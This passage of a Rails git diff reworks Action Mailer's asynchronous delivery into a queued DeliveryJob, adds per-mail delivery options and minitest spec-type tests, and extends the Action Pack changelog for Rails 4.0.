- This is especially useful for functional testing that shouldn't send off real emails, but still trigger delivery_* methods.
-
-* Added option to specify delivery method with Base#delivery_method=. Default is :smtp and :sendmail is currently the only other option.
- Sendmail is assumed to be present at "/usr/sbin/sendmail" if that option is used. *Kent Sibilev*
-
-* Dropped "include TMail" as it added to much baggage into the default namespace (like Version) *Chad Fowler*
-
+* Raise an `ActionView::MissingTemplate` exception when no implicit template could be found. *Damien Mathieu*
-## 0.3 ##
+* Asynchronously send messages via the Rails Queue *Brian Cardarella*
-* First release
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/actionmailer/CHANGELOG.md) for previous changes.
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
index 32e6183ff6..cfbe2f1cbd 100644
--- a/actionmailer/lib/action_mailer.rb
+++ b/actionmailer/lib/action_mailer.rb
@@ -35,7 +35,10 @@ require 'active_support/lazy_load_hooks'
module ActionMailer
extend ::ActiveSupport::Autoload
- autoload :Collector
+ eager_autoload do
+ autoload :Collector
+ end
+
autoload :Base
autoload :DeliveryMethods
autoload :MailHelper
diff --git a/actionmailer/lib/action_mailer/async.rb b/actionmailer/lib/action_mailer/async.rb
deleted file mode 100644
index a364342745..0000000000
--- a/actionmailer/lib/action_mailer/async.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-require 'delegate'
-
-module ActionMailer
- module Async
- def method_missing(method_name, *args)
- if action_methods.include?(method_name.to_s)
- QueuedMessage.new(queue, self, method_name, *args)
- else
- super
- end
- end
-
- def queue
- Rails.queue
- end
-
- class QueuedMessage < ::Delegator
- attr_reader :queue
-
- def initialize(queue, mailer_class, method_name, *args)
- @queue = queue
- @mailer_class = mailer_class
- @method_name = method_name
- @args = args
- end
-
- def __getobj__
- @actual_message ||= @mailer_class.send(:new, @method_name, *@args).message
- end
-
- def run
- __getobj__.deliver
- end
-
- # Will push the message onto the Queue to be processed
- def deliver
- @queue << self
- end
- end
- end
-end \ No newline at end of file
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index 900da9697e..bd33f81f1e 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -1,11 +1,13 @@
require 'mail'
+require 'action_mailer/queued_message'
require 'action_mailer/collector'
require 'active_support/core_ext/string/inflections'
require 'active_support/core_ext/hash/except'
require 'active_support/core_ext/module/anonymous'
+require 'active_support/queueing'
require 'action_mailer/log_subscriber'
-module ActionMailer #:nodoc:
+module ActionMailer
# Action Mailer allows you to send email from your application using a mailer model and views.
#
# = Mailer Models
@@ -140,6 +142,7 @@ module ActionMailer #:nodoc:
# for delivery later:
#
# Notifier.welcome(david).deliver # sends the email
+ # Notifier.deliver_welcome(david) # synonym for the former
# mail = Notifier.welcome(david) # => a Mail::Message object
# mail.deliver # sends the email
#
@@ -362,6 +365,7 @@ module ActionMailer #:nodoc:
# * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with
# <tt>delivery_method :test</tt>. Most useful for unit and functional testing.
#
+ # * <tt>queue</> - The queue that will be used to deliver the mail. The queue should expect a job that responds to <tt>run</tt>.
class Base < AbstractController::Base
include DeliveryMethods
abstract!
@@ -376,7 +380,7 @@ module ActionMailer #:nodoc:
self.protected_instance_variables = [:@_action_has_layout]
- helper ActionMailer::MailHelper
+ helper ActionMailer::MailHelper
private_class_method :new #:nodoc:
@@ -388,6 +392,9 @@ module ActionMailer #:nodoc:
:parts_order => [ "text/plain", "text/enriched", "text/html" ]
}.freeze
+ class_attribute :queue
+ self.queue = ActiveSupport::SynchronousQueue.new
+
class << self
# Register one or more Observers which will be notified when mail is delivered.
def register_observers(*observers)
@@ -464,19 +471,6 @@ module ActionMailer #:nodoc:
super || action_methods.include?(method.to_s)
end
- # Will force ActionMailer to push new messages to the queue defined
- # in the ActionMailer class when set to true.
- #
- # class WelcomeMailer < ActionMailer::Base
- # self.async = true
- # end
- def async=(truth)
- if truth
- require 'action_mailer/async'
- extend ActionMailer::Async
- end
- end
-
protected
def set_payload_for_mail(payload, mail) #:nodoc:
@@ -491,9 +485,14 @@ module ActionMailer #:nodoc:
payload[:mail] = mail.encoded
end
- def method_missing(method, *args) #:nodoc:
- return super unless respond_to?(method)
- new(method, *args).message
+ def method_missing(method_name, *args)
+ if action_methods.include?(method_name.to_s)
+ QueuedMessage.new(queue, self, method_name, *args)
+ elsif method_name.to_s =~ /^deliver_(.+)$/ && action_methods.include?($1)
+ public_send($1, *args).deliver
+ else
+ super
+ end
end
end
@@ -683,7 +682,7 @@ module ActionMailer #:nodoc:
m.charset = charset = headers[:charset]
# Set configure delivery behavior
- wrap_delivery_behavior!(headers.delete(:delivery_method))
+ wrap_delivery_behavior!(headers.delete(:delivery_method),headers.delete(:delivery_method_options))
# Assign all headers except parts_order, content_type and body
assignable = headers.except(:parts_order, :content_type, :body, :template_name, :template_path)
@@ -756,7 +755,7 @@ module ActionMailer #:nodoc:
responses << {
:body => render(:template => template),
- :content_type => template.mime_type.to_s
+ :content_type => template.type.to_s
}
end
end
diff --git a/actionmailer/lib/action_mailer/collector.rb b/actionmailer/lib/action_mailer/collector.rb
index b8d1db9558..569a09bd2a 100644
--- a/actionmailer/lib/action_mailer/collector.rb
+++ b/actionmailer/lib/action_mailer/collector.rb
@@ -2,7 +2,7 @@ require 'abstract_controller/collector'
require 'active_support/core_ext/hash/reverse_merge'
require 'active_support/core_ext/array/extract_options'
-module ActionMailer #:nodoc:
+module ActionMailer
class Collector
include AbstractController::Collector
attr_reader :responses
diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb
index 3b38dbccc7..110f6769e6 100644
--- a/actionmailer/lib/action_mailer/delivery_methods.rb
+++ b/actionmailer/lib/action_mailer/delivery_methods.rb
@@ -1,8 +1,8 @@
require 'tmpdir'
module ActionMailer
- # This module handles everything related to mail delivery, from registering new
- # delivery methods to configuring the mail object to be sent.
+ # This module handles everything related to mail delivery, from registering
+ # new delivery methods to configuring the mail object to be sent.
module DeliveryMethods
extend ActiveSupport::Concern
@@ -42,22 +42,19 @@ module ActionMailer
# Provides a list of emails that have been delivered by Mail::TestMailer
delegate :deliveries, :deliveries=, :to => Mail::TestMailer
- # Adds a new delivery method through the given class using the given symbol
- # as alias and the default options supplied:
- #
- # Example:
+ # Adds a new delivery method through the given class using the given
+ # symbol as alias and the default options supplied.
#
# add_delivery_method :sendmail, Mail::Sendmail,
- # :location => '/usr/sbin/sendmail',
- # :arguments => '-i -t'
- #
+ # location: '/usr/sbin/sendmail',
+ # arguments: '-i -t'
def add_delivery_method(symbol, klass, default_options={})
class_attribute(:"#{symbol}_settings") unless respond_to?(:"#{symbol}_settings")
send(:"#{symbol}_settings=", default_options)
self.delivery_methods = delivery_methods.merge(symbol.to_sym => klass).freeze
end
- def wrap_delivery_behavior(mail, method=nil) #:nodoc:
+ def wrap_delivery_behavior(mail, method=nil, options=nil) # :nodoc:
method ||= self.delivery_method
mail.delivery_handler = self
@@ -66,7 +63,7 @@ module ActionMailer
raise "Delivery method cannot be nil"
when Symbol
if klass = delivery_methods[method]
- mail.delivery_method(klass, send(:"#{method}_settings"))
+ mail.delivery_method(klass,(send(:"#{method}_settings") || {}).merge!(options || {}))
else
raise "Invalid delivery method #{method.inspect}"
end
@@ -79,7 +76,7 @@ module ActionMailer
end
end
- def wrap_delivery_behavior!(*args) #:nodoc:
+ def wrap_delivery_behavior!(*args) # :nodoc:
self.class.wrap_delivery_behavior(message, *args)
end
end
diff --git a/actionmailer/lib/action_mailer/mail_helper.rb b/actionmailer/lib/action_mailer/mail_helper.rb
index 2036883b22..ec84256491 100644
--- a/actionmailer/lib/action_mailer/mail_helper.rb
+++ b/actionmailer/lib/action_mailer/mail_helper.rb
@@ -1,6 +1,7 @@
module ActionMailer
module MailHelper
- # Take the text and format it, indented two spaces for each line, and wrapped at 72 columns.
+ # Take the text and format it, indented two spaces for each line, and
+ # wrapped at 72 columns.
def block_format(text)
formatted = text.split(/\n\r?\n/).collect { |paragraph|
format_paragraph(paragraph)
@@ -30,9 +31,7 @@ module ActionMailer
# Returns +text+ wrapped at +len+ columns and indented +indent+ spaces.
#
- # === Examples
- #
- # my_text = "Here is a sample text with more than 40 characters"
+ # my_text = 'Here is a sample text with more than 40 characters'
#
# format_paragraph(my_text, 25, 4)
# # => " Here is a sample text with\n more than 40 characters"
diff --git a/actionmailer/lib/action_mailer/queued_message.rb b/actionmailer/lib/action_mailer/queued_message.rb
new file mode 100644
index 0000000000..8d200617c4
--- /dev/null
+++ b/actionmailer/lib/action_mailer/queued_message.rb
@@ -0,0 +1,37 @@
+require 'delegate'
+
+module ActionMailer
+ class QueuedMessage < ::Delegator
+ attr_reader :queue
+
+ def initialize(queue, mailer_class, method_name, *args)
+ @queue = queue
+ @job = DeliveryJob.new(mailer_class, method_name, args)
+ end
+
+ def __getobj__
+ @job.message
+ end
+
+ # Queues the message for delivery.
+ def deliver
+ tap { @queue.push @job }
+ end
+
+ class DeliveryJob
+ def initialize(mailer_class, method_name, args)
+ @mailer_class = mailer_class
+ @method_name = method_name
+ @args = args
+ end
+
+ def message
+ @message ||= @mailer_class.send(:new, @method_name, *@args).message
+ end
+
+ def run
+ message.deliver
+ end
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb
index 5c03a29f0f..abf6ad80cf 100644
--- a/actionmailer/lib/action_mailer/railtie.rb
+++ b/actionmailer/lib/action_mailer/railtie.rb
@@ -3,8 +3,9 @@ require "rails"
require "abstract_controller/railties/routes_helpers"
module ActionMailer
- class Railtie < Rails::Railtie
+ class Railtie < Rails::Railtie # :nodoc:
config.action_mailer = ActiveSupport::OrderedOptions.new
+ config.eager_load_namespaces << ActionMailer
initializer "action_mailer.logger" do
ActiveSupport.on_load(:action_mailer) { self.logger ||= Rails.logger }
@@ -18,6 +19,8 @@ module ActionMailer
options.javascripts_dir ||= paths["public/javascripts"].first
options.stylesheets_dir ||= paths["public/stylesheets"].first
+ options.queue ||= app.queue
+
# make sure readers methods get compiled
options.asset_path ||= app.config.asset_path
options.asset_host ||= app.config.asset_host
diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb
index 108969ed4c..80f323873d 100644
--- a/actionmailer/lib/action_mailer/test_case.rb
+++ b/actionmailer/lib/action_mailer/test_case.rb
@@ -10,9 +10,17 @@ module ActionMailer
end
class TestCase < ActiveSupport::TestCase
+
+ # Use AM::TestCase for the base class when describing a mailer
+ register_spec_type(self) do |desc|
+ Class === desc && desc < ActionMailer::Base
+ end
+ register_spec_type(/Mailer( ?Test)?\z/i, self)
+
module Behavior
extend ActiveSupport::Concern
+ include ActiveSupport::Testing::ConstantLookup
include TestHelper
included do
@@ -42,9 +50,11 @@ module ActionMailer
end
def determine_default_mailer(name)
- name.sub(/Test$/, '').constantize
- rescue NameError
- raise NonInferrableMailerError.new(name)
+ mailer = determine_constant_from_test_name(name) do |constant|
+ Class === constant && constant < ActionMailer::Base
+ end
+ raise NonInferrableMailerError.new(name) if mailer.nil?
+ mailer
end
end
diff --git a/actionmailer/lib/action_mailer/test_helper.rb b/actionmailer/lib/action_mailer/test_helper.rb
index 7204822395..3ab37d8142 100644
--- a/actionmailer/lib/action_mailer/test_helper.rb
+++ b/actionmailer/lib/action_mailer/test_helper.rb
@@ -10,7 +10,8 @@ module ActionMailer
# assert_emails 2
# end
#
- # If a block is passed, that block should cause the specified number of emails to be sent.
+ # If a block is passed, that block should cause the specified number of
+ # emails to be sent.
#
# def test_emails_again
# assert_emails 1 do
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
index 99c44179fd..4b38d4bd31 100644
--- a/actionmailer/test/abstract_unit.rb
+++ b/actionmailer/test/abstract_unit.rb
@@ -11,6 +11,7 @@ end
require 'minitest/autorun'
require 'action_mailer'
require 'action_mailer/test_case'
+require 'active_support/queueing'
silence_warnings do
# These external dependencies have warnings :/
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
index 4ed332d13d..17ce8b7072 100644
--- a/actionmailer/test/base_test.rb
+++ b/actionmailer/test/base_test.rb
@@ -2,13 +2,14 @@
require 'abstract_unit'
require 'set'
+require 'action_dispatch'
+require 'active_support/queueing'
require 'active_support/time'
require 'mailers/base_mailer'
require 'mailers/proc_mailer'
require 'mailers/asset_mailer'
require 'mailers/async_mailer'
-require 'rails/queueing'
class BaseTest < ActiveSupport::TestCase
def teardown
@@ -411,7 +412,7 @@ class BaseTest < ActiveSupport::TestCase
BaseMailer.deliveries.clear
BaseMailer.expects(:deliver_mail).once
mail = BaseMailer.welcome.deliver
- assert_instance_of Mail::Message, mail
+ assert_equal 'The first email on new API!', mail.subject
end
test "calling deliver on the action should increment the deliveries collection if using the test mailer" do
@@ -421,24 +422,15 @@ class BaseTest < ActiveSupport::TestCase
assert_equal(1, BaseMailer.deliveries.length)
end
- def stub_queue(klass, queue)
- Class.new(klass) {
- extend Module.new {
- define_method :queue do
- queue
- end
- }
- }
- end
-
test "delivering message asynchronously" do
- testing_queue = Rails::Queueing::TestQueue.new
AsyncMailer.delivery_method = :test
AsyncMailer.deliveries.clear
- stub_queue(AsyncMailer, testing_queue).welcome.deliver
- assert_equal(0, AsyncMailer.deliveries.length)
- testing_queue.drain
- assert_equal(1, AsyncMailer.deliveries.length)
+
+ AsyncMailer.welcome.deliver
+ assert_equal 0, AsyncMailer.deliveries.length
+
+ AsyncMailer.queue.drain
+ assert_equal 1, AsyncMailer.deliveries.length
end
test "calling deliver, ActionMailer should yield back to mail to let it call :do_delivery on itself" do
@@ -493,14 +485,18 @@ class BaseTest < ActiveSupport::TestCase
end
test "assets tags should use a Mailer's asset_host settings when available" do
- ActionMailer::Base.config.asset_host = "global.com"
- ActionMailer::Base.config.assets_dir = "global/"
+ begin
+ ActionMailer::Base.config.asset_host = "http://global.com"
+ ActionMailer::Base.config.assets_dir = "global/"
- AssetMailer.asset_host = "http://local.com"
+ AssetMailer.asset_host = "http://local.com"
- mail = AssetMailer.welcome
+ mail = AssetMailer.welcome
- assert_equal(%{<img alt="Dummy" src="http://local.com/images/dummy.png" />}, mail.body.to_s.strip)
+ assert_equal(%{<img alt="Dummy" src="http://local.com/images/dummy.png" />}, mail.body.to_s.strip)
+ ensure
+ AssetMailer.asset_host = ActionMailer::Base.config.asset_host
+ end
end
# Before and After hooks
@@ -570,11 +566,11 @@ class BaseTest < ActiveSupport::TestCase
end
test "being able to put proc's into the defaults hash and they get evaluated on mail sending" do
- mail1 = ProcMailer.welcome
+ mail1 = ProcMailer.welcome['X-Proc-Method']
yesterday = 1.day.ago
Time.stubs(:now).returns(yesterday)
- mail2 = ProcMailer.welcome
- assert(mail1['X-Proc-Method'].to_s.to_i > mail2['X-Proc-Method'].to_s.to_i)
+ mail2 = ProcMailer.welcome['X-Proc-Method']
+ assert(mail1.to_s.to_i > mail2.to_s.to_i)
end
test "we can call other defined methods on the class as needed" do
@@ -666,6 +662,13 @@ class BaseTest < ActiveSupport::TestCase
assert_equal ["robert.pankowecki@gmail.com"], DefaultFromMailer.welcome.from
end
+ test "Mailer.deliver_welcome calls Mailer.welcome.deliver" do
+ BaseMailer.deliveries.clear
+ BaseMailer.deliver_welcome(subject: 'omg')
+ assert_equal 1, BaseMailer.deliveries.length
+ assert_equal 'omg', BaseMailer.deliveries.first.subject
+ end
+
protected
# Execute the block setting the given values and restoring old values after
diff --git a/actionmailer/test/delivery_methods_test.rb b/actionmailer/test/delivery_methods_test.rb
index 08f84dbf3b..7109f23e4c 100644
--- a/actionmailer/test/delivery_methods_test.rb
+++ b/actionmailer/test/delivery_methods_test.rb
@@ -4,6 +4,13 @@ require 'mail'
class MyCustomDelivery
end
+class MyOptionedDelivery
+ attr_reader :options
+ def initialize(options)
+ @options = options
+ end
+end
+
class BogusDelivery
def initialize(*)
end
@@ -115,6 +122,38 @@ class MailDeliveryTest < ActiveSupport::TestCase
assert_instance_of Mail::TestMailer, email.delivery_method
end
+ test "delivery method options default to class level options" do
+ default_options = {a: "b"}
+ ActionMailer::Base.add_delivery_method :optioned, MyOptionedDelivery, default_options
+ mail_instance = DeliveryMailer.welcome(:delivery_method => :optioned)
+ assert_equal default_options, mail_instance.delivery_method.options
+ end
+
+ test "delivery method options can be overridden per mail instance" do
+ default_options = {a: "b"}
+ ActionMailer::Base.add_delivery_method :optioned, MyOptionedDelivery, default_options
+ overridden_options = {a: "a"}
+ mail_instance = DeliveryMailer.welcome(:delivery_method => :optioned, :delivery_method_options => overridden_options)
+ assert_equal overridden_options, mail_instance.delivery_method.options
+ end
+
+ test "default delivery options can be overridden per mail instance" do
+ settings = { :address => "localhost",
+ :port => 25,
+ :domain => 'localhost.localdomain',
+ :user_name => nil,
+ :password => nil,
+ :authentication => nil,
+ :enable_starttls_auto => true }
+ assert_equal settings, ActionMailer::Base.smtp_settings
+ overridden_options = {user_name: "overridden", :password => "somethingobtuse"}
+ mail_instance = DeliveryMailer.welcome(:delivery_method_options => overridden_options)
+ delivery_method_instance = mail_instance.delivery_method
+ assert_equal "overridden", delivery_method_instance.settings[:user_name]
+ assert_equal "somethingobtuse", delivery_method_instance.settings[:password]
+ assert_equal delivery_method_instance.settings.merge(overridden_options), delivery_method_instance.settings
+ end
+
test "non registered delivery methods raises errors" do
DeliveryMailer.delivery_method = :unknown
assert_raise RuntimeError do
diff --git a/actionmailer/test/mailers/async_mailer.rb b/actionmailer/test/mailers/async_mailer.rb
index ce601e7343..c21a464f38 100644
--- a/actionmailer/test/mailers/async_mailer.rb
+++ b/actionmailer/test/mailers/async_mailer.rb
@@ -1,3 +1,3 @@
class AsyncMailer < BaseMailer
- self.async = true
+ self.queue = ActiveSupport::TestQueue.new
end
diff --git a/actionmailer/test/spec_type_test.rb b/actionmailer/test/spec_type_test.rb
new file mode 100644
index 0000000000..90db59c2d2
--- /dev/null
+++ b/actionmailer/test/spec_type_test.rb
@@ -0,0 +1,37 @@
+require 'abstract_unit'
+
+class NotificationMailer < ActionMailer::Base; end
+class Notifications < ActionMailer::Base; end
+
+class SpecTypeTest < ActiveSupport::TestCase
+ def assert_mailer actual
+ assert_equal ActionMailer::TestCase, actual
+ end
+
+ def refute_mailer actual
+ refute_equal ActionMailer::TestCase, actual
+ end
+
+ def test_spec_type_resolves_for_class_constants
+ assert_mailer MiniTest::Spec.spec_type(NotificationMailer)
+ assert_mailer MiniTest::Spec.spec_type(Notifications)
+ end
+
+ def test_spec_type_resolves_for_matching_strings
+ assert_mailer MiniTest::Spec.spec_type("WidgetMailer")
+ assert_mailer MiniTest::Spec.spec_type("WidgetMailerTest")
+ assert_mailer MiniTest::Spec.spec_type("Widget Mailer Test")
+ # And is not case sensitive
+ assert_mailer MiniTest::Spec.spec_type("widgetmailer")
+ assert_mailer MiniTest::Spec.spec_type("widgetmailertest")
+ assert_mailer MiniTest::Spec.spec_type("widget mailer test")
+ end
+
+ def test_spec_type_wont_match_non_space_characters
+ refute_mailer MiniTest::Spec.spec_type("Widget Mailer\tTest")
+ refute_mailer MiniTest::Spec.spec_type("Widget Mailer\rTest")
+ refute_mailer MiniTest::Spec.spec_type("Widget Mailer\nTest")
+ refute_mailer MiniTest::Spec.spec_type("Widget Mailer\fTest")
+ refute_mailer MiniTest::Spec.spec_type("Widget MailerXTest")
+ end
+end
diff --git a/actionmailer/test/test_test.rb b/actionmailer/test/test_test.rb
index 86fd37bea6..139eb53359 100644
--- a/actionmailer/test/test_test.rb
+++ b/actionmailer/test/test_test.rb
@@ -26,3 +26,147 @@ class CrazyStringNameMailerTest < ActionMailer::TestCase
assert_equal TestTestMailer, self.class.mailer_class
end
end
+
+describe TestTestMailer do
+ it "gets the mailer from the test name" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+describe TestTestMailer, :action do
+ it "gets the mailer from the test name" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+describe TestTestMailer do
+ describe "nested" do
+ it "gets the mailer from the test name" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+ end
+end
+
+describe TestTestMailer, :action do
+ describe "nested" do
+ it "gets the mailer from the test name" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+ end
+end
+
+describe "TestTestMailer" do
+ it "gets the mailer from the test name" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+describe "TestTestMailerTest" do
+ it "gets the mailer from the test name" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+describe "TestTestMailer" do
+ describe "nested" do
+ it "gets the mailer from the test name" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+ end
+end
+
+describe "TestTestMailerTest" do
+ describe "nested" do
+ it "gets the mailer from the test name" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+ end
+end
+
+describe "AnotherCrazySymbolNameMailerTest" do
+ tests :test_test_mailer
+
+ it "gets the mailer after setting it with a symbol" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+describe "AnotherCrazyStringNameMailerTest" do
+ tests 'test_test_mailer'
+
+ it "gets the mailer after setting it with a string" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+describe "Another Crazy Name Mailer Test" do
+ tests TestTestMailer
+
+ it "gets the mailer after setting it manually" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+describe "Another Crazy Symbol Name Mailer Test" do
+ tests :test_test_mailer
+
+ it "gets the mailer after setting it with a symbol" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+describe "Another Crazy String Name Mailer Test" do
+ tests 'test_test_mailer'
+
+ it "gets the mailer after setting it with a string" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+describe "AnotherCrazySymbolNameMailerTest" do
+ tests :test_test_mailer
+
+ describe "nested" do
+ it "gets the mailer after setting it with a symbol" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+ end
+end
+
+describe "AnotherCrazyStringNameMailerTest" do
+ tests 'test_test_mailer'
+
+ describe "nested" do
+ it "gets the mailer after setting it with a string" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+ end
+end
+
+describe "Another Crazy Name Mailer Test" do
+ tests TestTestMailer
+
+ describe "nested" do
+ it "gets the mailer after setting it manually" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+ end
+end
+
+describe "Another Crazy Symbol Name Mailer Test" do
+ tests :test_test_mailer
+
+ describe "nested" do
+ it "gets the mailer after setting it with a symbol" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+ end
+end
+
+describe "Another Crazy String Name Mailer Test" do
+ tests 'test_test_mailer'
+
+ it "gets the mailer after setting it with a string" do
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
index 095957e1a2..248677688f 100644
--- a/actionpack/CHANGELOG.md
+++ b/actionpack/CHANGELOG.md
@@ -1,6 +1,137 @@
## Rails 4.0.0 (unreleased) ##
-* Add Request#formats=(extensions) that lets you set multiple formats directly in a prioritized order *DHH*
+* `image_tag` will set the same width and height for image if numerical value
+ passed to `size` option.
+
+ *Nihad Abbasov*
+
+* Deprecate Mime::Type#verify_request? and Mime::Type.browser_generated_types,
+ since they are no longer used inside of Rails, they will be removed in Rails 4.1
+
+ *Michael Grosser*
+
+* `ActionDispatch::Http::UploadedFile` now delegates `close` to its tempfile. *Sergio Gil*
+
+* Add `ActionController::StrongParameters`, this module converts `params` hash into
+ an instance of ActionController::Parameters that allows whitelisting of permitted
+ parameters. Non-permitted parameters are forbidden to be used in Active Model by default
+ For more details check the documentation of the module or the
+ [strong_parameters gem](https://github.com/rails/strong_parameters)
+
+ *DHH + Guillermo Iguaran*
+
+* Remove Integration between `attr_accessible`/`attr_protected` and
+ `ActionController::ParamsWrapper`. ParamWrapper now wraps all the parameters returned
+ by the class method attribute_names
+
+ *Guillermo Iguaran*
+
+* Fix #7646, the log now displays the correct status code when an exception is raised.
+
+ *Yves Senn*
+
+* Allow pass couple extensions to `ActionView::Template.register_template_handler` call.
+
+ *Tima Maslyuchenko*
+
+* Fixed a bug with shorthand routes scoped with the `:module` option not
+ adding the module to the controller as described in issue #6497.
+ This should now work properly:
+
+ scope :module => "engine" do
+ get "api/version" # routes to engine/api#version
+ end
+
+ *Luiz Felipe Garcia Pereira*
+
+* Sprockets integration has been extracted from Action Pack and the `sprockets-rails`
+ gem should be added to Gemfile (under the assets group) in order to use Rails asset
+ pipeline in future versions of Rails.
+
+ *Guillermo Iguaran*
+
+* `ActionDispatch::Session::MemCacheStore` now uses `dalli` instead of the deprecated
+ `memcache-client` gem. As side effect the autoloading of unloaded classes objects
+ saved as values in session isn't supported anymore when mem_cache session store is
+ used, this can have an impact in apps only when config.cache_classes is false.
+
+ *Arun Agrawal + Guillermo Iguaran*
+
+* Support multiple etags in If-None-Match header. *Travis Warlick*
+
+* Allow to configure how unverified request will be handled using `:with`
+ option in `protect_from_forgery` method.
+
+ Valid unverified request handling methods are:
+
+ - `:exception` - Raises ActionController::InvalidAuthenticityToken exception.
+ - `:reset_session` - Resets the session.
+ - `:null_session` - Provides an empty session during request but doesn't
+ reset it completely. Used as default if `:with` option is not specified.
+
+ New applications are generated with:
+
+ protect_from_forgery :with => :exception
+
+ *Sergey Nartimov*
+
+* Add .ruby template handler, this handler simply allows arbitrary Ruby code as a template. *Guillermo Iguaran*
+
+* Add `separator` option for `ActionView::Helpers::TextHelper#excerpt`:
+
+ excerpt('This is a very beautiful morning', 'very', :separator => ' ', :radius => 1)
+ # => ...a very beautiful...
+
+ *Guirec Corbel*
+
+* Added controller-level etag additions that will be part of the action etag computation *Jeremy Kemper/DHH*
+
+ class InvoicesController < ApplicationController
+ etag { current_user.try :id }
+
+ def show
+ # Etag will differ even for the same invoice when it's viewed by a different current_user
+ @invoice = Invoice.find(params[:id])
+ fresh_when(@invoice)
+ end
+ end
+
+* Add automatic template digests to all `CacheHelper#cache` calls (originally spiked in the cache_digests plugin) *DHH*
+
+* When building a URL fails, add missing keys provided by Journey. Failed URL
+ generation now returns a 500 status instead of a 404.
+
+ *Richard Schneeman*
+
+* Deprecate availbility of `ActionView::RecordIdentifier` in controllers by default.
+ It's view specific and can be easily included in controller manually if someone
+ really needs it. RecordIdentifier will be removed from `ActionController::Base`
+ in Rails 4.1. *Piotr Sarnacki*
+
+* Fix `ActionView::RecordIdentifier` to work as a singleton. *Piotr Sarnacki*
+
+* Deprecate `Template#mime_type`, it will be removed in Rails 4.1 in favor of `#type`.
+ *Piotr Sarnacki*
+
+* Move vendored html-scanner from `action_controller` to `action_view` directory. If you
+ require it directly, please use 'action_view/vendor/html-scanner', reference to
+ 'action_controller/vendor/html-scanner' will be removed in Rails 4.1. *Piot Sarnacki*
+
+* Fix handling of date selects when using both disabled and discard options.
+ Fixes #7431.
+
+ *Vasiliy Ermolovich*
+
+* `ActiveRecord::SessionStore` is extracted out of Rails into a gem `activerecord-session_store`.
+ Setting `config.session_store` to `:active_record_store` will no longer work and will break
+ if the `activerecord-session_store` gem isn't available. *Prem Sichanugrist*
+
+* Fix `select_tag` when `option_tags` is nil.
+ Fixes #7404.
+
+ *Sandeep Ravichandran*
+
+* Add `Request#formats=(extensions)` that lets you set multiple formats directly in a prioritized order.
Example of using this for custom iphone views with an HTML fallback:
@@ -13,6 +144,7 @@
end
end
+ *DHH*
* Add Routing Concerns to declare common routes that can be reused inside
others resources and routes.
@@ -44,9 +176,9 @@
*DHH + Rafael Mendonça França*
-* Add start_hour and end_hour options to the select_hour helper. *Evan Tann*
+* Add `start_hour` and `end_hour` options to the `select_hour` helper. *Evan Tann*
-* Raises an ArgumentError when the first argument in `form_for` contain `nil`
+* Raises an `ArgumentError` when the first argument in `form_for` contain `nil`
or is empty.
*Richard Schneeman*
@@ -88,9 +220,9 @@
*Armand du Plessis*
-* Fixed issue with where Digest authentication would not work behind a proxy. *Arthur Smith*
+* Fixed issue with where digest authentication would not work behind a proxy. *Arthur Smith*
-* Added ActionController::Live. Mix it in to your controller and you can
+* Added `ActionController::Live`. Mix it in to your controller and you can
stream data to the client live. For example:
class FooController < ActionController::Base
@@ -106,7 +238,9 @@
end
end
-* Remove ActionDispatch::Head middleware in favor of Rack::Head. *Santiago Pastorino*
+ *Aaron Patterson*
+
+* Remove `ActionDispatch::Head` middleware in favor of `Rack::Head`. *Santiago Pastorino*
* Deprecate `:confirm` in favor of `:data => { :confirm => "Text" }` option for `button_to`, `button_tag`, `image_submit_tag`, `link_to` and `submit_tag` helpers.
@@ -146,7 +280,7 @@
*Jeremy Friesen*
-* Make possible to use a block in button_to helper if button text is hard
+* Make possible to use a block in `button_to` if the button text is hard
to fit into the name parameter, e.g.:
<%= button_to [:make_happy, @user] do %>
@@ -231,7 +365,7 @@
* Make current object and counter (when it applies) variables accessible when
rendering templates with :object / :collection. *Carlos Antonio da Silva*
-* JSONP now uses mimetype application/javascript instead of application/json. *omjokine*
+* JSONP now uses mimetype text/javascript instead of application/json. *omjokine*
* Allow to lazy load `default_form_builder` by passing a `String` instead of a constant. *Piotr Sarnacki*
@@ -349,6099 +483,32 @@
* Add `:format` option to number_to_percentage *Rodrigo Flores*
-* Add `config.action_view.logger` to configure logger for ActionView. *Rafael Mendonça França*
+* Add `config.action_view.logger` to configure logger for Action View. *Rafael Mendonça França*
-* Deprecated ActionController::Integration in favour of ActionDispatch::Integration
+* Deprecated `ActionController::Integration` in favour of `ActionDispatch::Integration`.
